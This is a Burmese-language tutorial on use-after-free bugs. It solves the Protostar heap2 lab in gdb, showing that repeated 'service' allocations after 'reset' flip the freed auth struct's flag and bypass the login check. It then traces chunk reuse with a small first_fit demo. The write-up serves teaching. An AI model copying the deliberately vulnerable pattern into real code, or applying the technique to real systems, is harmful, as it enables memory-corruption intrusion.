0x11 – Understanding Use After Free

Use After Free ကို နားလည္ေအာင္လို႕ protostar က heap2 နဲ႕ေလ့လာၾကမယ္။ တျခားဟာေတြလိုက္ၾကည့္ပါေသးတယ္။ LiveOverflow က ရွင္းျပထားတာေလးက က်ေနာ္တို႕လိုစစခ်င္းေလ့လာတဲ့လူတစ္ေယာက္အတြက္ပိုျပီး နားလည္ေစတယ္လို႕ထင္ပါတယ္။

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

Run ၾကည့္လိုက္မယ္။

$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
12345
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]

Use After Free ဆိုတာဘာကိုဆိုလိုတာလဲ?

စစခ်င္းမွာ auth ထဲမွာ ဘာမွမရွိဘူး ။ auth admin လို႕ေျပာလိုက္တဲ့အခါမွာ auth မွာ address တစ္ခုရွိေနတာကိုေတြကရမယ္။ login ဆိုေတာ့ password ကိုေတာင္းတယ္။ auth > auth ထက္ ၾကီးေနရင္ password ကိုေတာင္းေနတာကိုေတြ႕ရမယ္။ reset လို႕ရိုက္တဲ့အခါမွာ free ကိုသံုးထားတယ္။ free ရဲ႕ အလုပ္လုပ္ပံုကို “Introduction to Heap” မွာ တုန္းကေလ့လာခဲ့တယ္။ Use After Free ဆိုတာကေတာ့ free ကိုသံုးျပီးမွာ login က်ေနာ္တို႕ျပန္ဝင္တာကိုေျပာတာလား? ဒီတိုင္းကေတာ့ မေသခ်ာဘူး Debugging လုပ္ၾကည့္မွအဆင္ေျပမယ္။

$ gdb heap2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/heap2...done.
(gdb) set disassembly-flavor intel

Main function ကို disassemble လုပ္လိုက္မယ္။

(gdb) disas main
Dump of assembler code for function main:
0x08048934 <main+0>:    push   ebp
0x08048935 <main+1>:    mov    ebp,esp
0x08048937 <main+3>:    and    esp,0xfffffff0
0x0804893a <main+6>:    sub    esp,0x90
0x08048940 <main+12>:   jmp    0x8048943 <main+15>
0x08048942 <main+14>:   nop
0x08048943 <main+15>:   mov    ecx,DWORD PTR ds:0x804b5f8
0x08048949 <main+21>:   mov    edx,DWORD PTR ds:0x804b5f4
0x0804894f <main+27>:   mov    eax,0x804ad70
0x08048954 <main+32>:   mov    DWORD PTR [esp+0x8],ecx
0x08048958 <main+36>:   mov    DWORD PTR [esp+0x4],edx
0x0804895c <main+40>:   mov    DWORD PTR [esp],eax
0x0804895f <main+43>:   call   0x804881c <printf@plt>
0x08048964 <main+48>:   mov    eax,ds:0x804b164
0x08048969 <main+53>:   mov    DWORD PTR [esp+0x8],eax
0x0804896d <main+57>:   mov    DWORD PTR [esp+0x4],0x80
0x08048975 <main+65>:   lea    eax,[esp+0x10]
0x08048979 <main+69>:   mov    DWORD PTR [esp],eax
0x0804897c <main+72>:   call   0x80487ac <fgets@plt>
0x08048981 <main+77>:   test   eax,eax
0x08048983 <main+79>:   jne    0x8048987 <main+83>
0x08048985 <main+81>:   leave
---Type <return> to continue, or q <return> to quit---
0x08048986 <main+82>:   ret
0x08048987 <main+83>:   mov    DWORD PTR [esp+0x8],0x5
0x0804898f <main+91>:   mov    DWORD PTR [esp+0x4],0x804ad8d
0x08048997 <main+99>:   lea    eax,[esp+0x10]
0x0804899b <main+103>:  mov    DWORD PTR [esp],eax
0x0804899e <main+106>:  call   0x804884c <strncmp@plt>
0x080489a3 <main+111>:  test   eax,eax
0x080489a5 <main+113>:  jne    0x8048a01 <main+205>
0x080489a7 <main+115>:  mov    DWORD PTR [esp],0x4
0x080489ae <main+122>:  call   0x804916a <malloc>
0x080489b3 <main+127>:  mov    ds:0x804b5f4,eax
0x080489b8 <main+132>:  mov    eax,ds:0x804b5f4
0x080489bd <main+137>:  mov    DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>:  mov    DWORD PTR [esp+0x4],0x0
0x080489cd <main+153>:  mov    DWORD PTR [esp],eax
0x080489d0 <main+156>:  call   0x80487bc <memset@plt>
0x080489d5 <main+161>:  lea    eax,[esp+0x10]
0x080489d9 <main+165>:  add    eax,0x5
0x080489dc <main+168>:  mov    DWORD PTR [esp],eax
0x080489df <main+171>:  call   0x80487fc <strlen@plt>
0x080489e4 <main+176>:  cmp    eax,0x1e
0x080489e7 <main+179>:  ja     0x8048a01 <main+205>
0x080489e9 <main+181>:  lea    eax,[esp+0x10]
---Type <return> to continue, or q <return> to quit---
0x080489ed <main+185>:  lea    edx,[eax+0x5]
0x080489f0 <main+188>:  mov    eax,ds:0x804b5f4
0x080489f5 <main+193>:  mov    DWORD PTR [esp+0x4],edx
0x080489f9 <main+197>:  mov    DWORD PTR [esp],eax
0x080489fc <main+200>:  call   0x804880c <strcpy@plt>
0x08048a01 <main+205>:  mov    DWORD PTR [esp+0x8],0x5
0x08048a09 <main+213>:  mov    DWORD PTR [esp+0x4],0x804ad93
0x08048a11 <main+221>:  lea    eax,[esp+0x10]
0x08048a15 <main+225>:  mov    DWORD PTR [esp],eax
0x08048a18 <main+228>:  call   0x804884c <strncmp@plt>
0x08048a1d <main+233>:  test   eax,eax
0x08048a1f <main+235>:  jne    0x8048a2e <main+250>
0x08048a21 <main+237>:  mov    eax,ds:0x804b5f4
0x08048a26 <main+242>:  mov    DWORD PTR [esp],eax
0x08048a29 <main+245>:  call   0x804999c <free>
0x08048a2e <main+250>:  mov    DWORD PTR [esp+0x8],0x6
0x08048a36 <main+258>:  mov    DWORD PTR [esp+0x4],0x804ad99
0x08048a3e <main+266>:  lea    eax,[esp+0x10]
0x08048a42 <main+270>:  mov    DWORD PTR [esp],eax
0x08048a45 <main+273>:  call   0x804884c <strncmp@plt>
0x08048a4a <main+278>:  test   eax,eax
0x08048a4c <main+280>:  jne    0x8048a62 <main+302>
0x08048a4e <main+282>:  lea    eax,[esp+0x10]
---Type <return> to continue, or q <return> to quit---
0x08048a52 <main+286>:  add    eax,0x7
0x08048a55 <main+289>:  mov    DWORD PTR [esp],eax
0x08048a58 <main+292>:  call   0x804886c <strdup@plt>
0x08048a5d <main+297>:  mov    ds:0x804b5f8,eax
0x08048a62 <main+302>:  mov    DWORD PTR [esp+0x8],0x5
0x08048a6a <main+310>:  mov    DWORD PTR [esp+0x4],0x804ada1
0x08048a72 <main+318>:  lea    eax,[esp+0x10]
0x08048a76 <main+322>:  mov    DWORD PTR [esp],eax
0x08048a79 <main+325>:  call   0x804884c <strncmp@plt>
0x08048a7e <main+330>:  test   eax,eax
0x08048a80 <main+332>:  jne    0x8048942 <main+14>
0x08048a86 <main+338>:  mov    eax,ds:0x804b5f4
0x08048a8b <main+343>:  mov    eax,DWORD PTR [eax+0x20]
0x08048a8e <main+346>:  test   eax,eax
0x08048a90 <main+348>:  je     0x8048aa3 <main+367>
0x08048a92 <main+350>:  mov    DWORD PTR [esp],0x804ada7
0x08048a99 <main+357>:  call   0x804883c <puts@plt>
0x08048a9e <main+362>:  jmp    0x8048943 <main+15>
0x08048aa3 <main+367>:  mov    DWORD PTR [esp],0x804adc3
0x08048aaa <main+374>:  call   0x804883c <puts@plt>
0x08048aaf <main+379>:  jmp    0x8048943 <main+15>
End of assembler dump.

Heap address ကို သိေအာင္လုပ္ရဦးမယ္။ အရင္ run လိုက္မယ္။ auth admin ထည့္မယ္။ မဟုတ္ရင္ heap ကရွိေနမွာမဟုတ္ဘူး

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap2 auth
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
        in ../sysdeps/unix/syscall-template.S
(gdb) info proc mappings
process 1484
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
         0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
         0x804c000  0x804d000     0x1000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so

0x804c000 က heap ရဲ႕အစပဲ

Ok heap ထဲမွာ ဘာေတြရွိေနမလဲ

(gdb) x/20wx 0x804c000
0x804c000:      0x00000000      0x00000011      0x696d6461      0x00000a6e
0x804c010:      0x00000000      0x00000ff1      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000

auth ဆိုတဲ့ pointer က ဘယ္သူ႕ကိုညႊန္ေနလဲ အဲ့ထဲမွာဘာရွိလဲ

(gdb) print auth
$1 = (struct auth *) 0x804c008
(gdb) print *auth
$2 = {
  name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>,
  auth = 0}

Ok ဒီလိုဆို free ကိုသံုးေအာင္ reset လုပ္လိုက္မယ္။

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap2 auth
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
reset

Heap result

(gdb) x/20wx 0x804c000
0x804c000:      0x00000000      0x00000011      0x00000000      0x00000a6e
0x804c010:      0x00000000      0x00000ff1      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000

အရင္ result နဲ႕ ျပန္တိုက္ၾကည့္မယ္။

0 ေတြျဖစ္သြားတယ္ ဘာေၾကာင့္လဲဆိုရင္ backward pointer BD တန္ဖိုးကမရွိဘူး။ forward pointer လဲမရွိဘူး။ ဒီမွာကေတာ့ တစ္ခုတည္းျဖစ္တယ္။

ဒါေပမဲ့ auth ကေတာ့ အရင္အတိုင္း ညႊန္ျပေနတုန္းပဲ

(gdb) print auth
$3 = (struct auth *) 0x804c008

ဟုတ္ျပီ program မွာ service ဆိုတဲ့ ဟာတစ္ခုပါပါေသးတယ္။

if(strncmp(line, "service", 6) == 0) 
{ 
service = strdup(line + 7); 
}

strdup က ဘာလုပ္လဲဆိုရင္ string ကို duplicate လုပ္ေပးတာျဖစ္တယ္။

strdup, strndup, strdupa, strndupa - duplicate a string

service ကို run ရင္ ဘယ္လိုျဖစ္လဲ

$ ./heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x804c008, service = (nil) ]
service BBBB
[ auth = 0x804c008, service = 0x804c018 ]

Address ကမတူဘူး

(gdb)  x/20wx 0x804c000
0x804c000:      0x00000000      0x00000011      0x696d6461      0x00000a6e
0x804c010:      0x00000000      0x00000011      0x61616120      0x0000000a
0x804c020:      0x00000000      0x00000fe1      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000

service က auth ရွိေနတဲ့အခ်ိန္မွာ ျဖစ္ေနတာဒီလိုမ်ိဳးဆိုရင္ free လုပ္ျပီးမွဆိုရင္ေရာ

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
service AAAA
[ auth = 0x804c008, service = 0x804c008 ]

free လုပ္ျပီးမွဆိုရင္ auth ေရာ service ေရာ point လုပ္တဲ့ address က အတူတူပဲျဖစ္ေနတယ္။

(gdb) x/20wx 0x804c000
0x804c000:      0x00000000      0x00000011      0x41414120      0x00000a41
0x804c010:      0x00000000      0x00000ff1      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000

auth

(gdb) print auth
$3 = (struct auth *) 0x804c008
(gdb) print *auth
$4 = {name = " AAA\n\000\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>,
  auth = 0}

ဒီေတာ့ auth ကို free လုပ္ခဲ့ေပမဲ့ auth က point လုပ္ေနတုန္းပဲျဖစ္တယ္။ ဒါေပမဲ့ service ရဲ႕ value က overwrite လုပ္သြားတယ္ဆိုတာ ေတြ႕ရတယ္။ int auth=0 ျဖစ္ေနတာေတြ႕ရမွာျဖစ္တယ္။

ဒီေတာ့ service ကေန duplicate လုပ္သြားရင္ ဘယ္လိုျဖစ္သြားမလဲ

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
service AAA
[ auth = 0x804c008, service = 0x804c008 ]
service BBB
[ auth = 0x804c008, service = 0x804c018 ]
service CCC
[ auth = 0x804c008, service = 0x804c028 ]

Heap

(gdb) x/20wx 0x804c000
0x804c000:      0x00000000      0x00000011      0x41414120      0x0000000a
0x804c010:      0x00000000      0x00000011      0x42424220      0x0000000a
0x804c020:      0x00000000      0x00000011      0x43434320      0x0000000a
0x804c030:      0x00000000      0x00000fd1      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000

auth result

(gdb) print auth
$1 = (struct auth *) 0x804c008
(gdb) print *auth
$2 = {
  name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\021\000\000", auth = 1128481568}

အခု auth ရဲ႕ value က အရမ္းၾကီးလာတာကိုေတြ႕ရပါမယ္။

auth = 1128481568

သူစစ္ထားတာက if (auth->auth) ဆိုေတာ့ auth က 0 မဟုတ္ေတာ့တဲ့အတြက္ Condition ကမွန္သြားတယ္။

$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
hello
[ auth = 0x804c008, service = (nil) ]
service AAA
[ auth = 0x804c008, service = 0x804c018 ]
service AAA
[ auth = 0x804c008, service = 0x804c028 ]
service AAA
[ auth = 0x804c008, service = 0x804c038 ]
reset
[ auth = 0x804c008, service = 0x804c038 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c038 ]

Challenge က ေတာ့ေျဖတာဟုတ္ပါျပီ။ နားလည္လားဆိုေတာ့ နည္းနည္းေလးရွုပ္ေနတယ္။ ဘာေၾကာင့္လဲဆိုရင္ ဒီ challenge က အဓိက auth ကို int လို႕ေၾကညာခဲ့ေပမဲ့ auth *auth ကိုပဲယူသြားလို႕ျဖစ္ေနတာျဖစ္ပါတယ္။ ဒါေပမဲ့ use after free ကိုေတာ့ gdb ေၾကာင့္ျမင္လိုက္ရတယ္။

struct auth { 
char name[32]; int auth; 
}; 
struct auth *auth; char *service;

ဒီထက္ပိုနားလည္ခ်င္ေသးတယ္

ဒီေအာက္က resource ေတြရလာခဲ့တယ္။

https://github.com/shellphish/how2heap
https://heap-exploitation.dhavalkapil.com
http://phrack.org/issues/66/10.html

how2heap က first_fit က နည္းနည္းေလးနားလည္ရခက္သြားတယ္ first_fit.c

ဒါေၾကာင့္ အဲ့ပံုစံကိုပဲ က်ေနာ္ကိုယ့္ဘာကိုလြယ္လြယ္ေလးျဖစ္ေအာင္ေရးလိုက္တယ္

#include <stdio.h>
int main()
{
        char *a=malloc(8);
        char *b=malloc(8);
        char *c=malloc(8);
        char *d=malloc(8);

        printf("Before free\n");
        printf("*a -> %p\n",a);
        printf("*b -> %p\n",b);
        printf("*c -> %p\n",c);
        printf("*d -> %p\n",d);
        printf("Freeing...\n");
        free(a);
        free(b);
        free(c);
        free(d);

        printf("Use After free\n");
        a=malloc(8);
        b=malloc(8);
        c=malloc(8);
        d=malloc(8);
        printf("a -> %p\n",a);
        printf("b -> %p\n",b);
        printf("c -> %p\n",c);
        printf("d -> %p\n",d);
}

Result

Before free
*a -> 0x804b008
*b -> 0x804b018
*c -> 0x804b028
*d -> 0x804b038
Freeing...
Use After free
a -> 0x804b038
b -> 0x804b028
c -> 0x804b018
d -> 0x804b008

before free နဲ႕ Use after free ကို ၾကည့္လိုက္ရင္ free လုပ္ျပီးတဲ့အခ်ိန္မွာ address ေတြက ေျပာင္းျပန္ေတြျဖစ္သြားတာေတြ႕ရတယ္ debug လုပ္ၾကည့္မယ္

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804849b <+0>:     lea    ecx,[esp+0x4]
   0x0804849f <+4>:     and    esp,0xfffffff0
   0x080484a2 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484a5 <+10>:    push   ebp
   0x080484a6 <+11>:    mov    ebp,esp
   0x080484a8 <+13>:    push   ecx
   0x080484a9 <+14>:    sub    esp,0x14
   0x080484ac <+17>:    sub    esp,0xc
   0x080484af <+20>:    push   0x8
   0x080484b1 <+22>:    call   0x8048360 <malloc@plt>
   0x080484b6 <+27>:    add    esp,0x10
   0x080484b9 <+30>:    mov    DWORD PTR [ebp-0x18],eax
   0x080484bc <+33>:    sub    esp,0xc
   0x080484bf <+36>:    push   0x8
   0x080484c1 <+38>:    call   0x8048360 <malloc@plt>
   0x080484c6 <+43>:    add    esp,0x10
   0x080484c9 <+46>:    mov    DWORD PTR [ebp-0x14],eax
   0x080484cc <+49>:    sub    esp,0xc
   0x080484cf <+52>:    push   0x8
   0x080484d1 <+54>:    call   0x8048360 <malloc@plt>
   0x080484d6 <+59>:    add    esp,0x10
   0x080484d9 <+62>:    mov    DWORD PTR [ebp-0x10],eax
   0x080484dc <+65>:    sub    esp,0xc
   0x080484df <+68>:    push   0x8
   0x080484e1 <+70>:    call   0x8048360 <malloc@plt>
   0x080484e6 <+75>:    add    esp,0x10
   0x080484e9 <+78>:    mov    DWORD PTR [ebp-0xc],eax
   0x080484ec <+81>:    sub    esp,0xc
   0x080484ef <+84>:    push   0x80486c0
   0x080484f4 <+89>:    call   0x8048370 <puts@plt>
   0x080484f9 <+94>:    add    esp,0x10
   0x080484fc <+97>:    sub    esp,0x8
   0x080484ff <+100>:   push   DWORD PTR [ebp-0x18]
   0x08048502 <+103>:   push   0x80486cc
   0x08048507 <+108>:   call   0x8048340 <printf@plt>
   0x0804850c <+113>:   add    esp,0x10
   0x0804850f <+116>:   sub    esp,0x8
   0x08048512 <+119>:   push   DWORD PTR [ebp-0x14]
   0x08048515 <+122>:   push   0x80486d6
   0x0804851a <+127>:   call   0x8048340 <printf@plt>
   0x0804851f <+132>:   add    esp,0x10
   0x08048522 <+135>:   sub    esp,0x8
   0x08048525 <+138>:   push   DWORD PTR [ebp-0x10]
   0x08048528 <+141>:   push   0x80486e0
   0x0804852d <+146>:   call   0x8048340 <printf@plt>
   0x08048532 <+151>:   add    esp,0x10
   0x08048535 <+154>:   sub    esp,0x8
   0x08048538 <+157>:   push   DWORD PTR [ebp-0xc]
   0x0804853b <+160>:   push   0x80486ea
   0x08048540 <+165>:   call   0x8048340 <printf@plt>
   0x08048545 <+170>:   add    esp,0x10
   0x08048548 <+173>:   sub    esp,0xc
   0x0804854b <+176>:   push   0x80486f4
   0x08048550 <+181>:   call   0x8048370 <puts@plt>
   0x08048555 <+186>:   add    esp,0x10
   0x08048558 <+189>:   sub    esp,0xc
   0x0804855b <+192>:   push   DWORD PTR [ebp-0x18]
   0x0804855e <+195>:   call   0x8048350 <free@plt>
   0x08048563 <+200>:   add    esp,0x10
   0x08048566 <+203>:   sub    esp,0xc
   0x08048569 <+206>:   push   DWORD PTR [ebp-0x14]
   0x0804856c <+209>:   call   0x8048350 <free@plt>
   0x08048571 <+214>:   add    esp,0x10
   0x08048574 <+217>:   sub    esp,0xc
   0x08048577 <+220>:   push   DWORD PTR [ebp-0x10]
   0x0804857a <+223>:   call   0x8048350 <free@plt>
   0x0804857f <+228>:   add    esp,0x10
   0x08048582 <+231>:   sub    esp,0xc
   0x08048585 <+234>:   push   DWORD PTR [ebp-0xc]
   0x08048588 <+237>:   call   0x8048350 <free@plt>
   0x0804858d <+242>:   add    esp,0x10
   0x08048590 <+245>:   sub    esp,0xc
   0x08048593 <+248>:   push   0x80486ff
   0x08048598 <+253>:   call   0x8048370 <puts@plt>
   0x0804859d <+258>:   add    esp,0x10
   0x080485a0 <+261>:   sub    esp,0xc
   0x080485a3 <+264>:   push   0x8
   0x080485a5 <+266>:   call   0x8048360 <malloc@plt>
   0x080485aa <+271>:   add    esp,0x10
   0x080485ad <+274>:   mov    DWORD PTR [ebp-0x18],eax
   0x080485b0 <+277>:   sub    esp,0xc
   0x080485b3 <+280>:   push   0x8
   0x080485b5 <+282>:   call   0x8048360 <malloc@plt>
   0x080485ba <+287>:   add    esp,0x10
   0x080485bd <+290>:   mov    DWORD PTR [ebp-0x14],eax
   0x080485c0 <+293>:   sub    esp,0xc
   0x080485c3 <+296>:   push   0x8
   0x080485c5 <+298>:   call   0x8048360 <malloc@plt>
   0x080485ca <+303>:   add    esp,0x10
   0x080485cd <+306>:   mov    DWORD PTR [ebp-0x10],eax
   0x080485d0 <+309>:   sub    esp,0xc
   0x080485d3 <+312>:   push   0x8
   0x080485d5 <+314>:   call   0x8048360 <malloc@plt>
   0x080485da <+319>:   add    esp,0x10
   0x080485dd <+322>:   mov    DWORD PTR [ebp-0xc],eax
   0x080485e0 <+325>:   sub    esp,0x8
   0x080485e3 <+328>:   push   DWORD PTR [ebp-0x18]
   0x080485e6 <+331>:   push   0x80486cc
   0x080485eb <+336>:   call   0x8048340 <printf@plt>
   0x080485f0 <+341>:   add    esp,0x10
   0x080485f3 <+344>:   sub    esp,0x8
   0x080485f6 <+347>:   push   DWORD PTR [ebp-0x14]
   0x080485f9 <+350>:   push   0x80486d6
   0x080485fe <+355>:   call   0x8048340 <printf@plt>
   0x08048603 <+360>:   add    esp,0x10
   0x08048606 <+363>:   sub    esp,0x8
   0x08048609 <+366>:   push   DWORD PTR [ebp-0x10]
   0x0804860c <+369>:   push   0x80486e0
   0x08048611 <+374>:   call   0x8048340 <printf@plt>
   0x08048616 <+379>:   add    esp,0x10
   0x08048619 <+382>:   sub    esp,0x8
   0x0804861c <+385>:   push   DWORD PTR [ebp-0xc]
   0x0804861f <+388>:   push   0x80486ea
   0x08048624 <+393>:   call   0x8048340 <printf@plt>
   0x08048629 <+398>:   add    esp,0x10
   0x0804862c <+401>:   mov    eax,0x0
   0x08048631 <+406>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048634 <+409>:   leave
   0x08048635 <+410>:   lea    esp,[ecx-0x4]
   0x08048638 <+413>:   ret
End of assembler dump.

malloc ေတြလုပ္ျပီးလို႕ free မလုပ္ခင္မွာ တစ္ခ်က္ break မယ္ ျပီးရင္ malloc ေတြျပန္လုပ္တဲ့အခ်ိန္မွာ တစ္ခ်က္ break မယ္။

gdb-peda$ break *0x0804855e
Breakpoint 1 at 0x804855e
gdb-peda$ break *0x080485a5
Breakpoint 2 at 0x80485a5

heap ျမင္ရေအာင္ run လိုက္မယ္။ ျပီးရင္ ထံုးစံအတိုင္း heap address ကိုယူမယ္

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /root/Heap/first_fit
0x08049000 0x0804a000 r--p      /root/Heap/first_fit
0x0804a000 0x0804b000 rw-p      /root/Heap/first_fit
0x0804b000 0x0806c000 rw-p      [heap]
0xf7e18000 0xf7e19000 rw-p      mapped
0xf7e19000 0xf7fc6000 r-xp      /lib32/libc-2.23.so
0xf7fc6000 0xf7fc7000 ---p      /lib32/libc-2.23.so
0xf7fc7000 0xf7fc9000 r--p      /lib32/libc-2.23.so
0xf7fc9000 0xf7fca000 rw-p      /lib32/libc-2.23.so
0xf7fca000 0xf7fcd000 rw-p      mapped
0xf7fd5000 0xf7fd6000 rw-p      mapped
0xf7fd6000 0xf7fd9000 r--p      [vvar]
0xf7fd9000 0xf7fda000 r-xp      [vdso]
0xf7fda000 0xf7ffc000 r-xp      /lib32/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p      /lib32/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p      /lib32/ld-2.23.so
0xfffdd000 0xffffe000 rw-p      [stack]

ဒီတစ္ခါ heap ကိုၾကည့္ဖို႕ hook ေလးတစ္ခုလုပ္လိုက္မယ္။

gdb-peda$ define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/56wx 0x0804b000
>x/3i $eip
>end

run မယ္

gdb-peda$ run
Starting program: /root/Heap/first_fit
Before free
*a -> 0x804b008
*b -> 0x804b018
*c -> 0x804b028
*d -> 0x804b038
Freeing...
0x804b000:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b010:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b020:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000409      0x65657246      0x2e676e69
0x804b050:      0x620a2e2e      0x0a383330      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
=> 0x804855e <main+195>:        call   0x8048350 <free@plt>
   0x8048563 <main+200>:        add    esp,0x10
   0x8048566 <main+203>:        sub    esp,0xc

Breakpoint 1, 0x0804855e in main ()

allocation ကို point ျပမယ္

free လုပ္တာကို တစ္ဆင့္ခ်င္းၾကည့္မယ္။ ဘာမွမထည့္ထားတဲ့အတြက္ pointer ကိုပဲၾကည့္ရမွာျဖစ္ပါတယ္။

ဒုတိယ free ကို ေခၚတဲ့ထိ run လိုက္မယ္။ အဲဒါမွ second က်ရင္ backward pointer ပါလာမွာျဖစ္တယ္။

gdb-peda$
0x804b000:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b010:      0x00000000      0x00000011      0x0804b000      0x00000000
0x804b020:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000409      0x65657246      0x2e676e69
0x804b050:      0x620a2e2e      0x0a383330      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000

next free

gdb-peda$
0x804b000:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b010:      0x00000000      0x00000011      0x0804b000      0x00000000
0x804b020:      0x00000000      0x00000011      0x0804b010      0x00000000
0x804b030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000409      0x65657246      0x2e676e69
0x804b050:      0x620a2e2e      0x0a383330      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
